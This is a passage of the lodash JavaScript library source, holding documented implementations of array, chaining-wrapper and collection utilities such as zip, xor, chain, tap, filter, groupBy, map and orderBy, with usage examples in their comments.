     * how regrouped values should be combined. The iteratee is invoked with the
     * elements of each group: (...group).
     *
     * @static
     * @memberOf _
     * @since 3.8.0
     * @category Array
     * @param {Array} array The array of grouped elements to process.
     * @param {Function} [iteratee=_.identity] The function to combine
     *  regrouped values.
     * @returns {Array} Returns the new array of regrouped elements.
     * @example
     *
     * var zipped = _.zip([1, 2], [10, 20], [100, 200]);
     * // => [[1, 10, 100], [2, 20, 200]]
     *
     * _.unzipWith(zipped, _.add);
     * // => [3, 30, 300]
     */
    function unzipWith(array, iteratee) {
      if (!(array && array.length)) {
        return [];
      }
      var result = unzip(array);
      if (iteratee == null) {
        return result;
      }
      return arrayMap(result, function(group) {
        return apply(iteratee, undefined, group);
      });
    }

    /**
     * Creates an array excluding all given values using
     * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * for equality comparisons.
     *
     * **Note:** Unlike `_.pull`, this method returns a new array.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {Array} array The array to inspect.
     * @param {...*} [values] The values to exclude.
     * @returns {Array} Returns the new array of filtered values.
     * @see _.difference, _.xor
     * @example
     *
     * _.without([2, 1, 2, 3], 1, 2);
     * // => [3]
     */
    var without = baseRest(function(array, values) {
      return isArrayLikeObject(array)
        ? baseDifference(array, values)
        : [];
    });

    /**
     * Creates an array of unique values that is the
     * [symmetric difference](https://en.wikipedia.org/wiki/Symmetric_difference)
     * of the given arrays. The order of result values is determined by the order
     * they occur in the arrays.
     *
     * @static
     * @memberOf _
     * @since 2.4.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @returns {Array} Returns the new array of filtered values.
     * @see _.difference, _.without
     * @example
     *
     * _.xor([2, 1], [2, 3]);
     * // => [1, 3]
     */
    var xor = baseRest(function(arrays) {
      return baseXor(arrayFilter(arrays, isArrayLikeObject));
    });

    /**
     * This method is like `_.xor` except that it accepts `iteratee` which is
     * invoked for each element of each `arrays` to generate the criterion by
     * which by which they're compared. The order of result values is determined
     * by the order they occur in the arrays. The iteratee is invoked with one
     * argument: (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
     * @returns {Array} Returns the new array of filtered values.
     * @example
     *
     * _.xorBy([2.1, 1.2], [2.3, 3.4], Math.floor);
     * // => [1.2, 3.4]
     *
     * // The `_.property` iteratee shorthand.
     * _.xorBy([{ 'x': 1 }], [{ 'x': 2 }, { 'x': 1 }], 'x');
     * // => [{ 'x': 2 }]
     */
    var xorBy = baseRest(function(arrays) {
      var iteratee = last(arrays);
      if (isArrayLikeObject(iteratee)) {
        iteratee = undefined;
      }
      return baseXor(arrayFilter(arrays, isArrayLikeObject), getIteratee(iteratee, 2));
    });

    /**
     * This method is like `_.xor` except that it accepts `comparator` which is
     * invoked to compare elements of `arrays`. The order of result values is
     * determined by the order they occur in the arrays. The comparator is invoked
     * with two arguments: (arrVal, othVal).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Array
     * @param {...Array} [arrays] The arrays to inspect.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new array of filtered values.
     * @example
     *
     * var objects = [{ 'x': 1, 'y': 2 }, { 'x': 2, 'y': 1 }];
     * var others = [{ 'x': 1, 'y': 1 }, { 'x': 1, 'y': 2 }];
     *
     * _.xorWith(objects, others, _.isEqual);
     * // => [{ 'x': 2, 'y': 1 }, { 'x': 1, 'y': 1 }]
     */
    var xorWith = baseRest(function(arrays) {
      var comparator = last(arrays);
      comparator = typeof comparator == 'function' ? comparator : undefined;
      return baseXor(arrayFilter(arrays, isArrayLikeObject), undefined, comparator);
    });

    /**
     * Creates an array of grouped elements, the first of which contains the
     * first elements of the given arrays, the second of which contains the
     * second elements of the given arrays, and so on.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Array
     * @param {...Array} [arrays] The arrays to process.
     * @returns {Array} Returns the new array of grouped elements.
     * @example
     *
     * _.zip(['a', 'b'], [1, 2], [true, false]);
     * // => [['a', 1, true], ['b', 2, false]]
     */
    var zip = baseRest(unzip);

    /**
     * This method is like `_.fromPairs` except that it accepts two arrays,
     * one of property identifiers and one of corresponding values.
     *
     * @static
     * @memberOf _
     * @since 0.4.0
     * @category Array
     * @param {Array} [props=[]] The property identifiers.
     * @param {Array} [values=[]] The property values.
     * @returns {Object} Returns the new object.
     * @example
     *
     * _.zipObject(['a', 'b'], [1, 2]);
     * // => { 'a': 1, 'b': 2 }
     */
    function zipObject(props, values) {
      return baseZipObject(props || [], values || [], assignValue);
    }

    /**
     * This method is like `_.zipObject` except that it supports property paths.
     *
     * @static
     * @memberOf _
     * @since 4.1.0
     * @category Array
     * @param {Array} [props=[]] The property identifiers.
     * @param {Array} [values=[]] The property values.
     * @returns {Object} Returns the new object.
     * @example
     *
     * _.zipObjectDeep(['a.b[0].c', 'a.b[1].d'], [1, 2]);
     * // => { 'a': { 'b': [{ 'c': 1 }, { 'd': 2 }] } }
     */
    function zipObjectDeep(props, values) {
      return baseZipObject(props || [], values || [], baseSet);
    }

    /**
     * This method is like `_.zip` except that it accepts `iteratee` to specify
     * how grouped values should be combined. The iteratee is invoked with the
     * elements of each group: (...group).
     *
     * @static
     * @memberOf _
     * @since 3.8.0
     * @category Array
     * @param {...Array} [arrays] The arrays to process.
     * @param {Function} [iteratee=_.identity] The function to combine
     *  grouped values.
     * @returns {Array} Returns the new array of grouped elements.
     * @example
     *
     * _.zipWith([1, 2], [10, 20], [100, 200], function(a, b, c) {
     *   return a + b + c;
     * });
     * // => [111, 222]
     */
    var zipWith = baseRest(function(arrays) {
      var length = arrays.length,
          iteratee = length > 1 ? arrays[length - 1] : undefined;

      iteratee = typeof iteratee == 'function' ? (arrays.pop(), iteratee) : undefined;
      return unzipWith(arrays, iteratee);
    });

    /*------------------------------------------------------------------------*/

    /**
     * Creates a `lodash` wrapper instance that wraps `value` with explicit method
     * chain sequences enabled. The result of such sequences must be unwrapped
     * with `_#value`.
     *
     * @static
     * @memberOf _
     * @since 1.3.0
     * @category Seq
     * @param {*} value The value to wrap.
     * @returns {Object} Returns the new `lodash` wrapper instance.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'age': 36 },
     *   { 'user': 'fred',    'age': 40 },
     *   { 'user': 'pebbles', 'age': 1 }
     * ];
     *
     * var youngest = _
     *   .chain(users)
     *   .sortBy('age')
     *   .map(function(o) {
     *     return o.user + ' is ' + o.age;
     *   })
     *   .head()
     *   .value();
     * // => 'pebbles is 1'
     */
    function chain(value) {
      var result = lodash(value);
      result.__chain__ = true;
      return result;
    }

    /**
     * This method invokes `interceptor` and returns `value`. The interceptor
     * is invoked with one argument; (value). The purpose of this method is to
     * "tap into" a method chain sequence in order to modify intermediate results.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Seq
     * @param {*} value The value to provide to `interceptor`.
     * @param {Function} interceptor The function to invoke.
     * @returns {*} Returns `value`.
     * @example
     *
     * _([1, 2, 3])
     *  .tap(function(array) {
     *    // Mutate input array.
     *    array.pop();
     *  })
     *  .reverse()
     *  .value();
     * // => [2, 1]
     */
    function tap(value, interceptor) {
      interceptor(value);
      return value;
    }

    /**
     * This method is like `_.tap` except that it returns the result of `interceptor`.
     * The purpose of this method is to "pass thru" values replacing intermediate
     * results in a method chain sequence.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Seq
     * @param {*} value The value to provide to `interceptor`.
     * @param {Function} interceptor The function to invoke.
     * @returns {*} Returns the result of `interceptor`.
     * @example
     *
     * _('  abc  ')
     *  .chain()
     *  .trim()
     *  .thru(function(value) {
     *    return [value];
     *  })
     *  .value();
     * // => ['abc']
     */
    function thru(value, interceptor) {
      return interceptor(value);
    }

    /**
     * This method is the wrapper version of `_.at`.
     *
     * @name at
     * @memberOf _
     * @since 1.0.0
     * @category Seq
     * @param {...(string|string[])} [paths] The property paths to pick.
     * @returns {Object} Returns the new `lodash` wrapper instance.
     * @example
     *
     * var object = { 'a': [{ 'b': { 'c': 3 } }, 4] };
     *
     * _(object).at(['a[0].b.c', 'a[1]']).value();
     * // => [3, 4]
     */
    var wrapperAt = flatRest(function(paths) {
      var length = paths.length,
          start = length ? paths[0] : 0,
          value = this.__wrapped__,
          interceptor = function(object) { return baseAt(object, paths); };

      if (length > 1 || this.__actions__.length ||
          !(value instanceof LazyWrapper) || !isIndex(start)) {
        return this.thru(interceptor);
      }
      value = value.slice(start, +start + (length ? 1 : 0));
      value.__actions__.push({
        'func': thru,
        'args': [interceptor],
        'thisArg': undefined
      });
      return new LodashWrapper(value, this.__chain__).thru(function(array) {
        if (length && !array.length) {
          array.push(undefined);
        }
        return array;
      });
    });

    /**
     * Creates a `lodash` wrapper instance with explicit method chain sequences enabled.
     *
     * @name chain
     * @memberOf _
     * @since 0.1.0
     * @category Seq
     * @returns {Object} Returns the new `lodash` wrapper instance.
     * @example
     *
     * var users = [
     *   { 'user': 'barney', 'age': 36 },
     *   { 'user': 'fred',   'age': 40 }
     * ];
     *
     * // A sequence without explicit chaining.
     * _(users).head();
     * // => { 'user': 'barney', 'age': 36 }
     *
     * // A sequence with explicit chaining.
     * _(users)
     *   .chain()
     *   .head()
     *   .pick('user')
     *   .value();
     * // => { 'user': 'barney' }
     */
    function wrapperChain() {
      return chain(this);
    }

    /**
     * Executes the chain sequence and returns the wrapped result.
     *
     * @name commit
     * @memberOf _
     * @since 3.2.0
     * @category Seq
     * @returns {Object} Returns the new `lodash` wrapper instance.
     * @example
     *
     * var array = [1, 2];
     * var wrapped = _(array).push(3);
     *
     * console.log(array);
     * // => [1, 2]
     *
     * wrapped = wrapped.commit();
     * console.log(array);
     * // => [1, 2, 3]
     *
     * wrapped.last();
     * // => 3
     *
     * console.log(array);
     * // => [1, 2, 3]
     */
    function wrapperCommit() {
      return new LodashWrapper(this.value(), this.__chain__);
    }

    /**
     * Gets the next value on a wrapped object following the
     * [iterator protocol](https://mdn.io/iteration_protocols#iterator).
     *
     * @name next
     * @memberOf _
     * @since 4.0.0
     * @category Seq
     * @returns {Object} Returns the next iterator value.
     * @example
     *
     * var wrapped = _([1, 2]);
     *
     * wrapped.next();
     * // => { 'done': false, 'value': 1 }
     *
     * wrapped.next();
     * // => { 'done': false, 'value': 2 }
     *
     * wrapped.next();
     * // => { 'done': true, 'value': undefined }
     */
    function wrapperNext() {
      if (this.__values__ === undefined) {
        this.__values__ = toArray(this.value());
      }
      var done = this.__index__ >= this.__values__.length,
          value = done ? undefined : this.__values__[this.__index__++];

      return { 'done': done, 'value': value };
    }

    /**
     * Enables the wrapper to be iterable.
     *
     * @name Symbol.iterator
     * @memberOf _
     * @since 4.0.0
     * @category Seq
     * @returns {Object} Returns the wrapper object.
     * @example
     *
     * var wrapped = _([1, 2]);
     *
     * wrapped[Symbol.iterator]() === wrapped;
     * // => true
     *
     * Array.from(wrapped);
     * // => [1, 2]
     */
    function wrapperToIterator() {
      return this;
    }

    /**
     * Creates a clone of the chain sequence planting `value` as the wrapped value.
     *
     * @name plant
     * @memberOf _
     * @since 3.2.0
     * @category Seq
     * @param {*} value The value to plant.
     * @returns {Object} Returns the new `lodash` wrapper instance.
     * @example
     *
     * function square(n) {
     *   return n * n;
     * }
     *
     * var wrapped = _([1, 2]).map(square);
     * var other = wrapped.plant([3, 4]);
     *
     * other.value();
     * // => [9, 16]
     *
     * wrapped.value();
     * // => [1, 4]
     */
    function wrapperPlant(value) {
      var result,
          parent = this;

      while (parent instanceof baseLodash) {
        var clone = wrapperClone(parent);
        clone.__index__ = 0;
        clone.__values__ = undefined;
        if (result) {
          previous.__wrapped__ = clone;
        } else {
          result = clone;
        }
        var previous = clone;
        parent = parent.__wrapped__;
      }
      previous.__wrapped__ = value;
      return result;
    }

    /**
     * This method is the wrapper version of `_.reverse`.
     *
     * **Note:** This method mutates the wrapped array.
     *
     * @name reverse
     * @memberOf _
     * @since 0.1.0
     * @category Seq
     * @returns {Object} Returns the new `lodash` wrapper instance.
     * @example
     *
     * var array = [1, 2, 3];
     *
     * _(array).reverse().value()
     * // => [3, 2, 1]
     *
     * console.log(array);
     * // => [3, 2, 1]
     */
    function wrapperReverse() {
      var value = this.__wrapped__;
      if (value instanceof LazyWrapper) {
        var wrapped = value;
        if (this.__actions__.length) {
          wrapped = new LazyWrapper(this);
        }
        wrapped = wrapped.reverse();
        wrapped.__actions__.push({
          'func': thru,
          'args': [reverse],
          'thisArg': undefined
        });
        return new LodashWrapper(wrapped, this.__chain__);
      }
      return this.thru(reverse);
    }

    /**
     * Executes the chain sequence to resolve the unwrapped value.
     *
     * @name value
     * @memberOf _
     * @since 0.1.0
     * @alias toJSON, valueOf
     * @category Seq
     * @returns {*} Returns the resolved unwrapped value.
     * @example
     *
     * _([1, 2, 3]).value();
     * // => [1, 2, 3]
     */
    function wrapperValue() {
      return baseWrapperValue(this.__wrapped__, this.__actions__);
    }

    /*------------------------------------------------------------------------*/

    /**
     * Creates an object composed of keys generated from the results of running
     * each element of `collection` thru `iteratee`. The corresponding value of
     * each key is the number of times the key was returned by `iteratee`. The
     * iteratee is invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 0.5.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The iteratee to transform keys.
     * @returns {Object} Returns the composed aggregate object.
     * @example
     *
     * _.countBy([6.1, 4.2, 6.3], Math.floor);
     * // => { '4': 1, '6': 2 }
     *
     * // The `_.property` iteratee shorthand.
     * _.countBy(['one', 'two', 'three'], 'length');
     * // => { '3': 2, '5': 1 }
     */
    var countBy = createAggregator(function(result, value, key) {
      if (hasOwnProperty.call(result, key)) {
        ++result[key];
      } else {
        baseAssignValue(result, key, 1);
      }
    });

    /**
     * Checks if `predicate` returns truthy for **all** elements of `collection`.
     * Iteration is stopped once `predicate` returns falsey. The predicate is
     * invoked with three arguments: (value, index|key, collection).
     *
     * **Note:** This method returns `true` for
     * [empty collections](https://en.wikipedia.org/wiki/Empty_set) because
     * [everything is true](https://en.wikipedia.org/wiki/Vacuous_truth) of
     * elements of empty collections.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {boolean} Returns `true` if all elements pass the predicate check,
     *  else `false`.
     * @example
     *
     * _.every([true, 1, null, 'yes'], Boolean);
     * // => false
     *
     * var users = [
     *   { 'user': 'barney', 'age': 36, 'active': false },
     *   { 'user': 'fred',   'age': 40, 'active': false }
     * ];
     *
     * // The `_.matches` iteratee shorthand.
     * _.every(users, { 'user': 'barney', 'active': false });
     * // => false
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.every(users, ['active', false]);
     * // => true
     *
     * // The `_.property` iteratee shorthand.
     * _.every(users, 'active');
     * // => false
     */
    function every(collection, predicate, guard) {
      var func = isArray(collection) ? arrayEvery : baseEvery;
      if (guard && isIterateeCall(collection, predicate, guard)) {
        predicate = undefined;
      }
      return func(collection, getIteratee(predicate, 3));
    }

    /**
     * Iterates over elements of `collection`, returning an array of all elements
     * `predicate` returns truthy for. The predicate is invoked with three
     * arguments: (value, index|key, collection).
     *
     * **Note:** Unlike `_.remove`, this method returns a new array.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the new filtered array.
     * @see _.reject
     * @example
     *
     * var users = [
     *   { 'user': 'barney', 'age': 36, 'active': true },
     *   { 'user': 'fred',   'age': 40, 'active': false }
     * ];
     *
     * _.filter(users, function(o) { return !o.active; });
     * // => objects for ['fred']
     *
     * // The `_.matches` iteratee shorthand.
     * _.filter(users, { 'age': 36, 'active': true });
     * // => objects for ['barney']
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.filter(users, ['active', false]);
     * // => objects for ['fred']
     *
     * // The `_.property` iteratee shorthand.
     * _.filter(users, 'active');
     * // => objects for ['barney']
     *
     * // Combining several predicates using `_.overEvery` or `_.overSome`.
     * _.filter(users, _.overSome([{ 'age': 36 }, ['age', 40]]));
     * // => objects for ['fred', 'barney']
     */
    function filter(collection, predicate) {
      var func = isArray(collection) ? arrayFilter : baseFilter;
      return func(collection, getIteratee(predicate, 3));
    }

    /**
     * Iterates over elements of `collection`, returning the first element
     * `predicate` returns truthy for. The predicate is invoked with three
     * arguments: (value, index|key, collection).
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to inspect.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @param {number} [fromIndex=0] The index to search from.
     * @returns {*} Returns the matched element, else `undefined`.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'age': 36, 'active': true },
     *   { 'user': 'fred',    'age': 40, 'active': false },
     *   { 'user': 'pebbles', 'age': 1,  'active': true }
     * ];
     *
     * _.find(users, function(o) { return o.age < 40; });
     * // => object for 'barney'
     *
     * // The `_.matches` iteratee shorthand.
     * _.find(users, { 'age': 1, 'active': true });
     * // => object for 'pebbles'
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.find(users, ['active', false]);
     * // => object for 'fred'
     *
     * // The `_.property` iteratee shorthand.
     * _.find(users, 'active');
     * // => object for 'barney'
     */
    var find = createFind(findIndex);

    /**
     * This method is like `_.find` except that it iterates over elements of
     * `collection` from right to left.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to inspect.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @param {number} [fromIndex=collection.length-1] The index to search from.
     * @returns {*} Returns the matched element, else `undefined`.
     * @example
     *
     * _.findLast([1, 2, 3, 4], function(n) {
     *   return n % 2 == 1;
     * });
     * // => 3
     */
    var findLast = createFind(findLastIndex);

    /**
     * Creates a flattened array of values by running each element in `collection`
     * thru `iteratee` and flattening the mapped results. The iteratee is invoked
     * with three arguments: (value, index|key, collection).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the new flattened array.
     * @example
     *
     * function duplicate(n) {
     *   return [n, n];
     * }
     *
     * _.flatMap([1, 2], duplicate);
     * // => [1, 1, 2, 2]
     */
    function flatMap(collection, iteratee) {
      return baseFlatten(map(collection, iteratee), 1);
    }

    /**
     * This method is like `_.flatMap` except that it recursively flattens the
     * mapped results.
     *
     * @static
     * @memberOf _
     * @since 4.7.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the new flattened array.
     * @example
     *
     * function duplicate(n) {
     *   return [[[n, n]]];
     * }
     *
     * _.flatMapDeep([1, 2], duplicate);
     * // => [1, 1, 2, 2]
     */
    function flatMapDeep(collection, iteratee) {
      return baseFlatten(map(collection, iteratee), INFINITY);
    }

    /**
     * This method is like `_.flatMap` except that it recursively flattens the
     * mapped results up to `depth` times.
     *
     * @static
     * @memberOf _
     * @since 4.7.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @param {number} [depth=1] The maximum recursion depth.
     * @returns {Array} Returns the new flattened array.
     * @example
     *
     * function duplicate(n) {
     *   return [[[n, n]]];
     * }
     *
     * _.flatMapDepth([1, 2], duplicate, 2);
     * // => [[1, 1], [2, 2]]
     */
    function flatMapDepth(collection, iteratee, depth) {
      depth = depth === undefined ? 1 : toInteger(depth);
      return baseFlatten(map(collection, iteratee), depth);
    }

    /**
     * Iterates over elements of `collection` and invokes `iteratee` for each element.
     * The iteratee is invoked with three arguments: (value, index|key, collection).
     * Iteratee functions may exit iteration early by explicitly returning `false`.
     *
     * **Note:** As with other "Collections" methods, objects with a "length"
     * property are iterated like arrays. To avoid this behavior use `_.forIn`
     * or `_.forOwn` for object iteration.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @alias each
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Array|Object} Returns `collection`.
     * @see _.forEachRight
     * @example
     *
     * _.forEach([1, 2], function(value) {
     *   console.log(value);
     * });
     * // => Logs `1` then `2`.
     *
     * _.forEach({ 'a': 1, 'b': 2 }, function(value, key) {
     *   console.log(key);
     * });
     * // => Logs 'a' then 'b' (iteration order is not guaranteed).
     */
    function forEach(collection, iteratee) {
      var func = isArray(collection) ? arrayEach : baseEach;
      return func(collection, getIteratee(iteratee, 3));
    }

    /**
     * This method is like `_.forEach` except that it iterates over elements of
     * `collection` from right to left.
     *
     * @static
     * @memberOf _
     * @since 2.0.0
     * @alias eachRight
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Array|Object} Returns `collection`.
     * @see _.forEach
     * @example
     *
     * _.forEachRight([1, 2], function(value) {
     *   console.log(value);
     * });
     * // => Logs `2` then `1`.
     */
    function forEachRight(collection, iteratee) {
      var func = isArray(collection) ? arrayEachRight : baseEachRight;
      return func(collection, getIteratee(iteratee, 3));
    }

    /**
     * Creates an object composed of keys generated from the results of running
     * each element of `collection` thru `iteratee`. The order of grouped values
     * is determined by the order they occur in `collection`. The corresponding
     * value of each key is an array of elements responsible for generating the
     * key. The iteratee is invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The iteratee to transform keys.
     * @returns {Object} Returns the composed aggregate object.
     * @example
     *
     * _.groupBy([6.1, 4.2, 6.3], Math.floor);
     * // => { '4': [4.2], '6': [6.1, 6.3] }
     *
     * // The `_.property` iteratee shorthand.
     * _.groupBy(['one', 'two', 'three'], 'length');
     * // => { '3': ['one', 'two'], '5': ['three'] }
     */
    var groupBy = createAggregator(function(result, value, key) {
      if (hasOwnProperty.call(result, key)) {
        result[key].push(value);
      } else {
        baseAssignValue(result, key, [value]);
      }
    });

    /**
     * Checks if `value` is in `collection`. If `collection` is a string, it's
     * checked for a substring of `value`, otherwise
     * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
     * is used for equality comparisons. If `fromIndex` is negative, it's used as
     * the offset from the end of `collection`.
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object|string} collection The collection to inspect.
     * @param {*} value The value to search for.
     * @param {number} [fromIndex=0] The index to search from.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.reduce`.
     * @returns {boolean} Returns `true` if `value` is found, else `false`.
     * @example
     *
     * _.includes([1, 2, 3], 1);
     * // => true
     *
     * _.includes([1, 2, 3], 1, 2);
     * // => false
     *
     * _.includes({ 'a': 1, 'b': 2 }, 1);
     * // => true
     *
     * _.includes('abcd', 'bc');
     * // => true
     */
    function includes(collection, value, fromIndex, guard) {
      collection = isArrayLike(collection) ? collection : values(collection);
      fromIndex = (fromIndex && !guard) ? toInteger(fromIndex) : 0;

      var length = collection.length;
      if (fromIndex < 0) {
        fromIndex = nativeMax(length + fromIndex, 0);
      }
      return isString(collection)
        ? (fromIndex <= length && collection.indexOf(value, fromIndex) > -1)
        : (!!length && baseIndexOf(collection, value, fromIndex) > -1);
    }

    /**
     * Invokes the method at `path` of each element in `collection`, returning
     * an array of the results of each invoked method. Any additional arguments
     * are provided to each invoked method. If `path` is a function, it's invoked
     * for, and `this` bound to, each element in `collection`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Array|Function|string} path The path of the method to invoke or
     *  the function invoked per iteration.
     * @param {...*} [args] The arguments to invoke each method with.
     * @returns {Array} Returns the array of results.
     * @example
     *
     * _.invokeMap([[5, 1, 7], [3, 2, 1]], 'sort');
     * // => [[1, 5, 7], [1, 2, 3]]
     *
     * _.invokeMap([123, 456], String.prototype.split, '');
     * // => [['1', '2', '3'], ['4', '5', '6']]
     */
    var invokeMap = baseRest(function(collection, path, args) {
      var index = -1,
          isFunc = typeof path == 'function',
          result = isArrayLike(collection) ? Array(collection.length) : [];

      baseEach(collection, function(value) {
        result[++index] = isFunc ? apply(path, value, args) : baseInvoke(value, path, args);
      });
      return result;
    });

    /**
     * Creates an object composed of keys generated from the results of running
     * each element of `collection` thru `iteratee`. The corresponding value of
     * each key is the last element responsible for generating the key. The
     * iteratee is invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The iteratee to transform keys.
     * @returns {Object} Returns the composed aggregate object.
     * @example
     *
     * var array = [
     *   { 'dir': 'left', 'code': 97 },
     *   { 'dir': 'right', 'code': 100 }
     * ];
     *
     * _.keyBy(array, function(o) {
     *   return String.fromCharCode(o.code);
     * });
     * // => { 'a': { 'dir': 'left', 'code': 97 }, 'd': { 'dir': 'right', 'code': 100 } }
     *
     * _.keyBy(array, 'dir');
     * // => { 'left': { 'dir': 'left', 'code': 97 }, 'right': { 'dir': 'right', 'code': 100 } }
     */
    var keyBy = createAggregator(function(result, value, key) {
      baseAssignValue(result, key, value);
    });

    /**
     * Creates an array of values by running each element in `collection` thru
     * `iteratee`. The iteratee is invoked with three arguments:
     * (value, index|key, collection).
     *
     * Many lodash methods are guarded to work as iteratees for methods like
     * `_.every`, `_.filter`, `_.map`, `_.mapValues`, `_.reject`, and `_.some`.
     *
     * The guarded methods are:
     * `ary`, `chunk`, `curry`, `curryRight`, `drop`, `dropRight`, `every`,
     * `fill`, `invert`, `parseInt`, `random`, `range`, `rangeRight`, `repeat`,
     * `sampleSize`, `slice`, `some`, `sortBy`, `split`, `take`, `takeRight`,
     * `template`, `trim`, `trimEnd`, `trimStart`, and `words`
     *
     * @static
     * @memberOf _
     * @since 0.1.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the new mapped array.
     * @example
     *
     * function square(n) {
     *   return n * n;
     * }
     *
     * _.map([4, 8], square);
     * // => [16, 64]
     *
     * _.map({ 'a': 4, 'b': 8 }, square);
     * // => [16, 64] (iteration order is not guaranteed)
     *
     * var users = [
     *   { 'user': 'barney' },
     *   { 'user': 'fred' }
     * ];
     *
     * // The `_.property` iteratee shorthand.
     * _.map(users, 'user');
     * // => ['barney', 'fred']
     */
    function map(collection, iteratee) {
      var func = isArray(collection) ? arrayMap : baseMap;
      return func(collection, getIteratee(iteratee, 3));
    }

    /**
     * This method is like `_.sortBy` except that it allows specifying the sort
     * orders of the iteratees to sort by. If `orders` is unspecified, all values
     * are sorted in ascending order. Otherwise, specify an order of "desc" for
     * descending or "asc" for ascending sort order of corresponding values.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Array[]|Function[]|Object[]|string[]} [iteratees=[_.identity]]
     *  The iteratees to sort by.
     * @param {string[]} [orders] The sort orders of `iteratees`.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.reduce`.
     * @returns {Array} Returns the new sorted array.
     * @example
     *
     * var users = [
     *   { 'user': 'fred',   'age': 48 },
     *   { 'user': 'barney', 'age': 34 },
     *   { 'user': 'fred',   'age': 40 },
     *   { 'user': 'barney', 'age': 36 }
     * ];
     *
     * // Sort by `user` in ascending order and by `age` in descending order.
     * _.orderBy(users, ['user', 'age'], ['asc', 'desc']);
     * // => objects for [['barney', 36], ['barney', 34], ['fred', 48], ['fred', 40]]
     */
    function orderBy(collection, iteratees, orders, guard) {
      if (collection == null) {
        return [];
      }
      if (!isArray(iteratees)) {
        iteratees = iteratees == null ? [] : [iteratees];
      }
      orders = guard ? undefined : orders;
      if (!isArray(orders)) {
        orders = orders == null ? [] : [orders];
      }
      return baseOrderBy(collection, iteratees, orders);
    }

    /**
     * Creates an array of elements split into two groups, the first of which
     * contains elements `predicate` returns truthy for, the second of which
     * contains elements `predicate` returns falsey for. The predicate is
     * invoked with one argument: (value).
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Collection
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} [predicate=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the array of grouped elements.
     * @example
     *
     * var users = [
     *   { 'user': 'barney',  'age': 36, 'active': false },
     *   { 'user': 'fred',    'age': 40, 'active': true },
     *   { 'user': 'pebbles', 'age': 1,  'active': false }
     * ];
     *
     * _.partition(users, function(o) { return o.active; });
     * // => objects for [['fred'], ['barney', 'pebbles']]
     *
     * // The `_.matches` iteratee shorthand.
     * _.partition(users, { 'age': 1, 'active': false });
     * // => objects for [['pebbles'], ['barney', 'fred']]
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.partition(users, ['active', false]);
     * // => objects for [['barney', 'pebbles'], ['fred']]
     *
     * // The `_.property` iteratee shorthand.
     * _.partition(users, 'active');
     * // => objects for [['fred'], ['barney', 'pebbles']]
     */
    var partition = createAggregator(function(result, value, key) {
      result[key ? 0 : 1].push(value);
    }, function() { return [[], []]; });

    /**
     * Reduces `collection` to a value which is the accumulated result of running
     * each element in `collection` thru `iteratee`, where each successive
     * invocation is supplied the return value of the previous. If `accumulator`
     * is not given, the first element of `collection` is used as the initial
